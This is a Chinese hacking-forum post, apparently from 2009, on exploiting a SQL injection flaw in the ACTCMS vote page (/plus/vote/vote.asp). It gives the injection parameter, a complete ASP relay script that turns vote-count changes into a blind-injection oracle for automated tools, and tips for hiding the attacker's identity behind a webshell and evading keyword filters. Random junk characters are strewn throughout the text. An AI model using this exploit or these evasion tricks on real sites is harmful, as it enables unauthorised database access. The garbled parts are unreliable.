5 I# j+ B- v0 R
看到ninty大牛的blog的一篇文章
* v- _& b6 _' o: P! a链接标记[url]http://www.forjj.com/?action=show&id=80[/url]
# Z4 T6 [4 z9 |/ R+ p$ l2 G' _关于actcms漏洞的利用 by 3x qq:3818625897 G" L h* M* D% S8 T
转载请注明以上# p1 O: x* z: p
漏洞文件:4 k, F# D2 I7 v! z0 ^
/plus/vote/vote.asp, [: q" I% u5 P9 X# o$ S! W
代码: 链接标记预览源代码 链接标记打印链接标记关于1if request("voted").count=0 then . P) B8 m6 Z5 `* I
: |, g9 y0 C! G) s- ~, Z* X
2 response.write "<script>alert('请选择投票项目。');window.close()</script>"
8 |0 a2 e9 Y: M( g3 P' n G; a' a$ I- C$ D3 ]% c
3 response.end & v: Q& c: d" z+ [7 O
* v* b. Y- f- I& }3 t0 r6 Z; W; c4 end if 4 m& E! Q/ {4 y" ?& z9 q
! W. V( b' ?+ N; M
5 for i=1 to request("voted").count
7 L; U. I) i) f! L( O' c" w4 E' r1 G7 H) [9 a) V
6 actcms.actexe("Update vote_act set VoteNum=VoteNum+1 where id="&request("voted")(i)) " J) [/ a2 A4 V: b
: d7 ~7 b6 O% v7 ^1 R7 next : Y4 O# n% Q) v1 z; Z5 f. Q1 U% J
, |+ n/ @* ^9 S/ Q9 [0 m8....
7 g0 I+ j! f3 ]% V+ |, p; l R! @' P, s$ [' ^6 Q* |. h& {
9response.Redirect "index.asp?id="&id&"" 1 Q8 p0 E- q7 m9 b; W: |- p
投票结束回跳转回index.asp这个投票结果页面6 r8 V8 t5 q/ j( g+ H' b
如果投票成功票数加1
/ Y7 s8 {$ d( \; b. D. |% i 失败票数不变, n5 d. a) T( L, U' S+ \
如图:" P1 k3 ^" ~- d, ?2 e+ t1 F; R' N5 |- b4 ^
http://www.t00ls.net/images/default/attachimg.gif http://www.t00ls.net/attachments/month_0912/091227132032ef432aa12b1267.jpg链接标记下载 (3.95 KB)* N2 d. p2 K5 N
$ P& M! D+ `9 u9 P; I2009-12-27 13:20
( |% w9 M5 D: ]( ^8 g7 `& x" @) z
利用这点来注入,由于ninty大牛学java的,但是java运行环境实在是。。。。不说了 Z3 a8 d* E, U2 G& m8 K; G# s
9 O- m% u2 p4 E
本帖隐藏的内容需要回复才可以浏览& f* X1 V+ V, c( X$ ], Z0 B) S$ d
我们用注入中转来实现这个注入具体代码如下:, f7 K4 i! x7 g$ B: c
先用寂寞的刺猬大牛的注入中转生成jmget.asp
+ |) w/ n: g( r: E. T注入地址:http://localhost/actcms/plus/vote/vote.asp
) Z4 S# _( k1 ?2 ^8 k注入键值:id=1&voted=-1 or 1= '这里这样换的话就有学问了,不用去判断有什么投票选项
5 h2 m% w, D4 Y+ H9 @
/ P+ T1 |' G$ ]9 u然后进行修改变成如下代码: 链接标记预览源代码 链接标记打印链接标记关于01<% 2 r1 K2 ]( X" X7 n
: q$ ^" F p3 G. Y* M02JmdcwName=request("jmdcw")
! {4 C8 T9 p/ _9 }- ~! E$ u
' e* V7 K9 J6 d* `2 }, E" B# ^: W$ M: S03' 注入中转站 GET 版,BY 寂寞的刺猬 [L.S.T] ! w; ]2 x" s% A% U; F, _: e
. h, v# e6 V3 Q2 E% y$ z$ Z( X( Z; I
04JmStr="id=1&voted=-1 or 1="&JmdcwName
$ h7 d& I( P! d S3 _
: X8 L o* F7 x t05JmStr=URLEncoding(JmStr) + D# b( ~+ _, H3 ^% p" [
9 T7 [& q; u7 U0 P0 r' j06JMUrl="链接标记http://localhost/actcms/plus/vote/vote.asp"
& U: u9 h0 b% u1 A! y7 d0 V' q+ k/ p/ j, L# V5 X
07testurl="链接标记http://localhost/actcms/plus/vote/index.asp"
; q `4 _) w" c" b1 x! g
/ g! g) j4 ~5 U @: D# J08testurl=testurl & "?" & JmStr % R I/ H% z' l
; B$ T9 r! ^" M, C; _
09JMUrl=JMUrl & "?" & JmStr
% |6 E) r# `* |5 t: Y( d: t% _: h, C) c
10JmRef="链接标记http://localhost/actcms/plus/vote/vote.asp", R# E0 O4 ]7 X) s+ K+ E
7 \# K7 B7 K; u" G0 z2 b7 X- u
11JmCok="ASPSESSIONIDAQACTAQB=HKFHJOPDOMAIKGMPGBJJDKLJ;"% d [' W" o: o8 a6 k9 O
5 p- x1 O) k+ A8 v, A5 K7 }12JmCok=replace(JmCok,chr(32),"%20")
: \( ~& t1 D- K- g. l- d) W, X9 F# a
13test1=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票前投票记录 getSt为返回投票数的函数
, s d2 Y& }; u* A3 z7 Y) ?1 `* u3 R) X
14 9 \# k y$ F7 u$ @% m9 k8 v6 ?0 B
/ e6 Z. j* N7 o9 |) x& n! j
15re=PostData(JMUrl,JmStr,JmCok,JmRef) '投票
8 _' R9 I3 U' K6 X7 i3 T0 W
. i6 S1 N X2 p2 a5 [. i; v16 , T( o5 l p8 v/ X: L0 u
+ b/ G0 n# q& O( l17test2=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票后的投票记录 2 b. Q0 J: p$ d3 f# x0 ]
& G+ f3 V/ J2 n- q18response.write test1&""&test2&""$ C* b$ Q; F# `
+ y& T( p O C19 % D0 p1 K- Z1 g3 d
! A3 L2 }! s3 w1 v6 C
20if test1=test2 then '如前后记录相等,表示失败
" w$ ^$ J( [" a6 s$ f# L2 m. j
- S% G6 g% b4 L" n7 n7 r21 response.write "failed"- @ N) ]8 N1 S1 Q7 _
- D$ _, K, j* L q H V( ]
22else
$ ^$ x c# I; l" ]1 K8 b; n2 \# E- v: X
23 response.write "succeed"
* q7 e- s% P% R
# j/ M f- c c0 V y24end if
X. }( B" ?! H1 b, h3 i7 R7 q
\' H3 r/ ` ~25 * \' @% N9 D l& b
! [4 E( ?4 k3 J% M3 q# O
26response.write "by 3x"7 {) U# n# {$ O6 k$ @8 x* w- `
6 `( `- C: L# ]/ X5 h1 r2 ?1 r27 4 }- b* y' p7 P- H9 G+ d/ ~/ w" o
_) Q- y- G ?
28 ; Q% @. P( q0 ^1 h# [2 v2 r% b+ `- F
' j6 G- Z& H" @" t0 E, K+ ~) I29Function PostData(PostUrl,PostStr,PostCok,PostRef) " @5 [$ Y' b. @- C6 Y
4 X. g1 } R2 f6 C) Q# W30Dim Http
8 Q/ T' f0 \7 @8 u. f2 h `1 `& c
31Set Http = Server.CreateObject("msxml2.serverXMLHTTP")
# C- v9 t! \3 R! ^# e
- B5 @& {+ s1 ]/ M9 T32With Http : s$ }; D8 N8 K7 R H7 Y( k
" A' y6 o1 M" l) b9 K
33 . Y s4 g: i; s* \6 t' T
0 M2 [$ |! U, |) h* E( x8 h
34.Open "GET",PostUrl,False
3 d3 n5 m, x% Q* }2 x, g2 u$ s0 I& A7 g
35.SetRequestHeader "Content-Type","application/x-www-form-urlencoded"
/ ~ n( c9 ?. z& w. f# |" ~' J I! h" w1 A( ?1 T
36.SetRequestHeader "Referer",PostRef * _4 ^- E# f% {, |( \1 K
2 [) |' X. @2 P, m. X
37.SetRequestHeader "Cookie",PostCok
9 O$ y. f$ c; }9 X4 z5 v7 l6 b ~% b* L7 f7 B# e; A$ K
38.Send ()
4 |& l9 c& {8 n! y- e/ A
0 n: `- D$ }) D6 V2 W+ [39PostData = .ResponseBody
( E- w, C8 i+ P+ n3 y' @& G5 |9 j
0 _. h1 C( n1 H; H, G: w7 {- v5 q5 ~) U40End With$ B6 G6 b! w7 v6 B& h
- ^# N. j' i+ I7 s/ A
41Set Http = Nothing) g2 M8 o# V, f
! n2 z% O( q8 o6 Y4 R5 Z42PostData =bytes2BSTR(PostData)
6 S: b9 x7 ^) [" b5 v; h% @$ l$ j' _8 Z, o% X; b" ?. z3 I
43End Function
# o- D9 i2 z) Y4 M: B$ K l. s# C
+ Q4 p2 F0 D; K44
# V9 ], B+ f |. U3 ~/ [# `- g
( `8 h# Z; N4 ~6 n" b45 9 w+ c7 F! ^' D* z" \. U
- u: s: T% g. z4 z$ x6 Y* p9 |/ n46Function bytes2BSTR(vIn)
7 I6 X# O8 f0 H- y& e' x: z; O1 A& p5 y$ V7 ~ { s
47Dim strReturn 5 L. a7 P2 q: {
8 n6 y( q+ W" g1 e' j0 |48Dim I, ThisCharCode, NextCharCode
0 B2 C2 u2 V' }; L' h, v5 i. ^# A$ ]& L4 o, f. ~4 |
49strReturn = ""9 b; k- C6 s; x
( f' c! }5 I e1 H! a- n50For I = 1 To LenB(vIn)
$ z1 L: X! v) c% Q
& m( j2 a5 d) G& s: n; e" y51ThisCharCode = AscB(MidB(vIn, I, 1)) 9 y; x/ w- z$ w- Y
, F8 b# o& e, \, a
52If ThisCharCode < &H80 Then' S2 F2 D* \1 ~. O( E. ~7 ]& I
! ]2 A$ ]' Q5 x# [. U, Q; Y: Z53strReturn = strReturn & Chr(ThisCharCode) $ N6 O) ^+ Y& }) \3 n( Q+ Z) u( C
# o! m' e: j( p f: j, S; J54Else
( m. }$ N( [ |5 L, i ^1 |
6 H0 ~0 O6 K: B9 @, P" G55NextCharCode = AscB(MidB(vIn, I + 1, 1))
4 t8 N0 i i* K: y9 j6 f( K8 X5 P! L7 ^# q
56strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode))
( Z" M" ^& I1 L; F# [: I, K9 x
57I = I + 1
2 X/ G$ b; b$ f4 e; l
! o/ y0 J. b# i) J1 b58End If
1 |# s! B/ u% O
* g" M+ S# `9 f g59Next0 C# ]- w n/ B# Q% F# v
! P' g Q0 h$ h* q x& W60bytes2BSTR = strReturn 6 ?( o- M+ U h+ r; S
1 z, g$ A1 I" f
61End Function
* F; A2 G1 @0 r
% N8 r5 ]0 R, C3 |/ e# ?& ?62
3 {3 u& b& D3 b$ n: j$ R& `' t; E' F% L
8 Q9 @; S( Y* U7 I+ t0 L63Function URLEncoding(vstrin) 7 r8 S) w" `( }% ?# }8 f4 D
2 S/ |) ]2 L* E( [! H( A! C% h64strReturn=""; Y: \) }1 i( v# ^, l3 g; t$ T
; \: w+ T2 i( u1 _! L# r2 ]0 w
65Dim i ' {7 t3 g6 q6 K$ F7 b$ ?1 g
4 a; ]; N+ n2 I y1 K6 W66For i=1 To Len(vstrin) ) ~: R2 ]( u9 F6 C
3 K6 }# L$ |" a' z4 Y. o/ O
67ThisChr=Mid(vstrin,i,1)
& K5 g- q/ K. u$ G
+ N% m6 s+ z+ K, K+ \5 `' r68if Abs(Asc(ThisChr))< &HFF Then
' `) ^( C. o8 }3 H+ l) E7 f; g; Q* P/ j( v
69strReturn=strReturn & ThisChr
3 `+ u6 v; N& B# J
# t2 V7 g, p, G6 L( T2 V( U70Else# _4 e1 c9 z5 m* F# Y
4 W+ m3 s z2 ]3 x; v! ?
71InnerCode=Asc(ThisChr) 4 p) c" Z: [! Q7 x8 g+ x2 I4 z! ?- ~" S
1 D* e- S! w6 O, j+ Z$ Q9 `7 Q72If InnerCode<0 Then" M- [- D" q. T+ u/ U
: I. |: o; T) p: @( _. q( g
73InnerCode=InnerCode + &H10000 2 x" T/ s" g& N
5 ]9 t" e. q& r8 W) g+ @! ]74End If
3 ~! o1 @- x4 C' ]$ [% ^# |2 L+ Y8 o: \7 A3 K& U6 Q @
75Hight1=(InnerCode And &HFF00) \&HFF
: u1 C/ {5 ~ v0 U _6 H H) G0 l4 z: v6 s5 V. q
76Low1=InnerCode And &HFF
- q. n* i) {2 w$ P! j; H$ ~( R2 a" _* ~( h8 M7 X" O6 G7 `/ L0 ]
77strReturn=strReturn & "%" & Hex(Hight1) & "%" & Hex(Low1)
; V, M( u9 l4 n2 {( ]) m$ z3 i1 v: S$ X$ R5 d6 u2 w
78End if
" `3 m5 j: H! G7 m' x9 E6 C \: ~- p1 b6 C8 ^1 Z0 A' d
79Next
) ], i( y* y1 L$ l$ M* @( q; o2 M1 I: x: T# M) Q+ V2 `
80strReturn=Replace(strReturn,chr(32),"%20") '转换空格,如果网站过滤了空格,尝试用/**/来代替%20 0 O8 v& S0 ]0 V# _
/ O5 L: E0 B# @+ C81strReturn=Replace(strReturn,chr(43),"%2B") 'JMDCW增加转换+字符
9 D+ W- z9 D" z" M* R% X- B2 M
- F$ I9 e8 p+ B82'strReturn=Replace(strReturn,过滤字符,"转换为字符") '在此增加要过滤的代码
5 t% }; v- }0 ?1 R+ L J# @0 A
# d) j( o. j7 t0 m4 A83URLEncoding=strReturn 5 a& r4 W) ?4 J3 w
, y/ |+ c- W- l3 E84End Function j! Y$ z2 W4 f4 X. |3 M( }! r
4 c! f) H. G2 q85
; O1 f& |" b" X* y" E$ r4 s* i$ B0 Y, B' |8 j7 O. c) o3 ^2 S
86function getSt(body) / I4 W* @: o6 r2 u
( x0 M3 \* a/ b; G$ `# B& C2 q87 startpot=instr(body,"投票人数:")+len("投票人数:") 0 z3 d- G, r6 x. q3 |0 c
1 i( a9 F b9 i. U; ^4 P88 endpot=instr(startpot,body," ") 3 z' O. B+ G/ w5 _
- K6 r! {) g2 n89 getSt=mid(body,startpot,endpot-startpot) & c$ ~# m' m2 G0 G8 ^/ Z1 ~
% i5 r% F: H( m r3 t90end function
1 o, z+ D, P! y' Z: a/ @! N4 {4 t# m2 I$ U: q$ s
91%>
3 |' X( V, ^4 C! [注入地址就是http://localhost/vote.asp?jmdcw=1 '我把jmget.asp改成vote.asp了
! Z+ ?% P, T6 e测试下效果:
2 x. K( ]: d, ^; ]6 I投票成功:; U0 r$ ~6 d# K# U- o, Q# ?( c
http://www.t00ls.net/images/default/attachimg.gif http://www.t00ls.net/attachments/month_0912/091227132987c71b583da9fb1a.jpg链接标记下载 (15.4 KB)- c2 E5 S. p$ |# a2 z& l
k9 F0 S) S' ~' x" h2009-12-27 13:29
: T% ~: d5 a" q3 c投票失败
6 W; b! c9 _& [! ihttp://www.t00ls.net/images/default/attachimg.gif http://www.t00ls.net/attachments/month_0912/09122713294089aca533bb1d18.jpg链接标记下载 (13.72 KB)
$ ]$ I7 H' r6 `/ b8 P! {6 s
v1 O8 E+ k! j( h% g. P* x0 n- h& h2009-12-27 13:29, z; @! f6 r% h: y0 H
-------------------------------------------------------------------------------( B- x. u% T2 I% q7 e, n
再补充下。。。这个用明小子等去注我发现不行。。。总结了一下原因,明小子等注入工具是多线程的,而这个投票人数的变量没进行锁的机制。。。所以
0 ?" \& B1 t- J很抱歉。。。只能用单线程工具去注入。。。。。; G6 Y1 M+ A! [- o! ]
所以失败。。。不好意思。。。
4 W' B- T4 Y- J4 j0 B% @$ K-------------------------------------------------------------------------------. C a# @7 J3 N( p) M
& o' j* W# {8 K0 k注入中转的一些其他应用* }: g3 R; h3 [/ u" i
其实寂寞的刺猬大牛给我们提供这款基于xmlhttp的傻瓜式中转工具实在是太方便我们小菜了
1 A n1 N5 P0 b* ?$ \7 P; \5 u1.普通的get型的注入点如果中转一下,放到我们的webshell上跑,有效的隐藏我们的id( K* T7 a5 Z$ g& O- j7 f; g$ R
2.post注入转成get型的注入,方便我们使用工具来跑* ? B! k9 b( ?0 n
3.在一些cms或者一流拦截系统,过滤了selelct等关键词,这里的过滤指的是replace,我们可以在代码中进行转化,replace(jmstr,"select","sselectelect"),这样我们就可以用工具了,对于一流拦截的突破就replace(jmstr,"%20","%09")
6 d5 D' n7 T( K2 K1 j* ]4.在某些防注入系统中的突破,上次我遇到一个防注入,大家应该也很熟悉,可以通过id--->%69d来绕过,但是如果是post的呢?我把他中转成get型的,但是注入键值我改成%69d=,成功绕过* f" C' F! U5 {. c J2 L
* l( C+ N$ t4 }5 U7 A' o
|